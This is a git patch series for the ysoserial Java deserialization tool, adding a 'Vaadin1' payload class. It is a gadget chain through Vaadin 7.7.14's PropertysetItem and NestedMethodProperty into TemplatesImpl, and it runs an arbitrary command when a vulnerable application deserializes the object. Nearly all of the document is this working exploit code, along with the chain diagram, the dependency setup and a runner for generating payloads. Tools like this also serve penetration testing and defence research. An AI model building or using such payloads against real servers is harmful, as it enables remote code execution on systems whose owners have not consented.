From 58e578b0f68c4ce745f859b3ccd62194f7abe9bf Mon Sep 17 00:00:00 2001 From: supersache Date: Wed, 19 Sep 2018 14:55:56 +0200 Subject: [PATCH 1/3] Changes for the new Vaadin Gadget --- pom.xml | 5 ++ src/main/java/ysoserial/payloads/Vaadin1.java | 73 +++++++++++++++++++ .../payloads/annotation/Authors.java | 1 + 3 files changed, 79 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Vaadin1.java diff --git a/pom.xml b/pom.xml index 39ff36e..3900133 100644 --- a/pom.xml +++ b/pom.xml @@ -308,6 +308,11 @@ clojure 1.8.0 + + com.vaadin + vaadin-server + 7.7.14 + diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java new file mode 100644 index 0000000..a72374e --- /dev/null +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -0,0 +1,73 @@ +package ysoserial.payloads; + +import javax.management.BadAttributeValueExpException; + +import org.apache.xalan.xsltc.trax.TemplatesImpl; + +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.Reflections; + +@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" }) +@Authors({ Authors.KULLRICH }) +public class Vaadin1 implements ObjectPayload +{ +// +-------------------------------------------------+ +// | | +// | BadAttributeValueExpException | +// | | +// | val ==> PropertysetItem | +// | | +// | readObject() ==> val.toString() | +// | + | +// +----------|--------------------------------------+ +// | +// | +// | +// +----|-----------------------------------------+ +// | v | +// | PropertysetItem | +// | | +// | toString () => getPropertyId().getValue () | +// | + | +// +---------------------------------------|------+ +// | +// +-----------------------------+ +// | +// +-----|----------------------------------------------+ +// | v | +// | NestedMethodProperty | +// | | +// | getValue() => java.lang.reflect.Method.invoke () | +// | | | +// +-------------------------------------------|--------+ +// | +// +-----------------------------------+ +// | +// +---|--------------------------------------------+ +// | v | +// | TemplatesImpl.getOutputProperties() | +// | | +// | | +// | | +// +------------------------------------------------+ + @Override + public Object getObject (String command) throws Exception + { + TemplatesImpl templ = (TemplatesImpl) Gadgets.createTemplatesImpl (command); + PropertysetItem pItem = new PropertysetItem (); + + NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); + pItem.addItemProperty ("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException (""); + Reflections.setFieldValue (b, "val", pItem); + + return b; + } + +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 5ed9085..2f4001e 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -18,6 +18,7 @@ public @interface Authors { String GEBL = "gebl" ; String JACOBAINES = "jacob-baines"; String JASINNER = "jasinner"; + String KULLRICH = "kai_ullrich"; String[] value() default {}; From 614fcfeb2ab3d0a61703d27c63acc734888981b6 Mon Sep 17 00:00:00 2001 From: supersache Date: Wed, 19 Sep 2018 15:08:27 +0200 Subject: [PATCH 2/3] Changed from TemplatesImpl to Object --- src/main/java/ysoserial/payloads/Vaadin1.java | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java index a72374e..0aae5dd 100644 --- a/src/main/java/ysoserial/payloads/Vaadin1.java +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -2,8 +2,6 @@ package ysoserial.payloads; import javax.management.BadAttributeValueExpException; -import org.apache.xalan.xsltc.trax.TemplatesImpl; - import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; @@ -58,10 +56,10 @@ public class Vaadin1 implements ObjectPayload @Override public Object getObject (String command) throws Exception { - TemplatesImpl templ = (TemplatesImpl) Gadgets.createTemplatesImpl (command); + Object templ = Gadgets.createTemplatesImpl (command); PropertysetItem pItem = new PropertysetItem (); - NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); + NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); pItem.addItemProperty ("outputProperties", nmprop); BadAttributeValueExpException b = new BadAttributeValueExpException (""); From e0b15a3961ee368ef707ed97be6ad2bce72a408d Mon Sep 17 00:00:00 2001 From: supersache Date: Thu, 20 Sep 2018 13:00:21 +0200 Subject: [PATCH 3/3] additional dependency added, precondition badattrvalexcobj --- src/main/java/ysoserial/payloads/Vaadin1.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java index 0aae5dd..1d74d06 100644 --- a/src/main/java/ysoserial/payloads/Vaadin1.java +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -7,10 +7,14 @@ import com.vaadin.data.util.PropertysetItem; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; +import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" }) +@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) +@PayloadTest ( precondition = "isApplicableJavaVersion") @Authors({ Authors.KULLRICH }) public class Vaadin1 implements ObjectPayload { @@ -50,9 +54,8 @@ public class Vaadin1 implements ObjectPayload // | v | // | TemplatesImpl.getOutputProperties() | // | | -// | | -// | | // +------------------------------------------------+ + @Override public Object getObject (String command) throws Exception { @@ -68,4 +71,12 @@ public class Vaadin1 implements ObjectPayload return b; } + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Vaadin1.class, args); + } + }